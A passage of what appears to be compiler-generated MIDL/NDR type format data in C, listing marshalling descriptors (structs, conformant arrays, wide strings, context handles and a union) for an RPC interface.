*/\n\t\t\tNdrFcShort( 0xff8f ),\t/* Offset= -113 (1632) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1748 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1750 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1752 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1754 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1756 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1758 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1760 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1762 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1768 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1772 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1776 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1778 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1780 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1784 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1788 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1790 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (1732) */\n/* 1792 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1794 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1796 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1798 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (1752) */\n/* 1800 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1800) */\n/* 1802 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1804 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1806 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1808 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1810 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1812) */\n/* 1812 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 1814 */\t0x1,\t\t/* 1 */\n\t\t\t0x1,\t\t/* 1 */\n/* 1816 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 1818 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1820 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1822 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1824) */\n/* 1824 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1826 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1828 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1830 */\tNdrFcShort( 0x234 ),\t/* Offset= 564 (2394) */\n/* 1832 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1834 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1836 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1838 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1840 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1842 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1846 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1850 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1852) */\n/* 1852 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1854 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 1856 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1860 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (1894) */\n/* 1862 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1866 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (1912) */\n/* 1868 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 1872 */\tNdrFcShort( 0x50 ),\t/* Offset= 80 (1952) */\n/* 1874 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 1878 */\tNdrFcShort( 0x9e ),\t/* Offset= 158 (2036) */\n/* 1880 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 1884 */\tNdrFcShort( 0xf4 ),\t/* Offset= 244 (2128) */\n/* 1886 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 1890 */\tNdrFcShort( 0x14c ),\t/* Offset= 332 (2222) */\n/* 1892 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1891) */\n/* 1894 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1896 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1898) */\n/* 1898 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1900 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1902 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1904 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1908) */\n/* 1906 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1908 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1910 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1912 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1914 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1916) */\n/* 1916 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1918 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 1920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1922 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1932) */\n/* 1924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1926 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1928 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1930 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1932 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1934 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1936 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1938 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1940 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1942 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1944 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1946 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1948 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1950 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1952 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1954 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1978) */\n/* 1956 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1958 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1960 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1962 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 1964 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1966 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1968 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1972 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1976 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1978 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1980 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1982 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1984 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (2000) */\n/* 1986 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1988 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1990 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1992 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1994 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1996 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1998 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2000 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2002 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2004 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2006 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2008 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2010 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2012 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2014 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2016 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2018 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2020 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2022 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2024 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2026 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2028 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2030 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2032 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2034 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (1956) */\n/* 2036 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2038 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (2062) */\n/* 2040 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2042 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2044 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2046 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 2048 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2050 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2052 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2056 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2060 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2062 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2064 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 2066 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2068 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (2088) */\n/* 2070 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2072 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2074 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2076 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2078 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2082 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2084 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2086 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2088 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2090 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2092 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2094 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2096 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2098 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2100 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2102 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2104 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2106 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2108 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2110 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2112 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2114 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2116 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2118 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2120 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2122 */\tNdrFcShort( 0xff5a ),\t/* Offset= -166 (1956) */\n/* 2124 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2126 */\tNdrFcShort( 0xffaa ),\t/* Offset= -86 (2040) */\n/* 2128 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2130 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2132) */\n/* 2132 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 2134 */\tNdrFcShort( 0x98 ),\t/* 152 */\n/* 2136 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2138 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (2166) */\n/* 2140 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2142 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2144 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2146 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2148 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2150 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2152 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2154 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2156 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2158 */\tNdrFcShort( 0xfcec ),\t/* Offset= -788 (1370) */\n/* 2160 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2162 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2164 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2166 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2168 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2170 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2172 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2174 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2176 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2178 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2180 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2182 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2184 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2186 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2188 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2190 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2192 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2194 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2196 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2198 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2200 */\tNdrFcShort( 0xff0c ),\t/* Offset= -244 (1956) */\n/* 2202 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2204 */\tNdrFcShort( 0xff5c ),\t/* Offset= -164 (2040) */\n/* 2206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2210 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2212 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2214 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2216 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2218 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2220 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2222 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2224 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (2270) */\n/* 2226 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2228 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2230 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2232 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 2234 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2236 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2238 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2242 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2246 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2248 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2250 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2252 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2254 */\tNdrFcShort( 0xc4 ),\t/* 196 */\n/* 2256 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2258 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2260 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2264 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2268 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2270 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 2272 */\tNdrFcShort( 0xe0 ),\t/* 224 */\n/* 2274 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2276 */\tNdrFcShort( 0x2a ),\t/* Offset= 42 (2318) */\n/* 2278 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2280 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2282 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2284 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2286 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2288 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2290 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2292 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2294 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2296 */\tNdrFcShort( 0xfc62 ),\t/* Offset= -926 (1370) */\n/* 2298 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2300 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2302 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2304 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2306 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2308 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2310 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2312 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2314 */\tNdrFcShort( 0xfc50 ),\t/* Offset= -944 (1370) */\n/* 2316 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2318 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2320 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2322 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2324 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2326 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2328 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2330 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2332 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2334 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2336 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2338 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2340 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2342 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2344 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2346 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2348 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2350 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2352 */\tNdrFcShort( 0xfe74 ),\t/* Offset= -396 (1956) */\n/* 2354 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2356 */\tNdrFcShort( 0xfec4 ),\t/* Offset= -316 (2040) */\n/* 2358 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2360 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2362 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2364 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2366 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2368 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2370 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2374 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2376 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2378 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2380 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2382 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2384 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (2226) */\n/* 2386 */\t\n\t\t\t0x12, 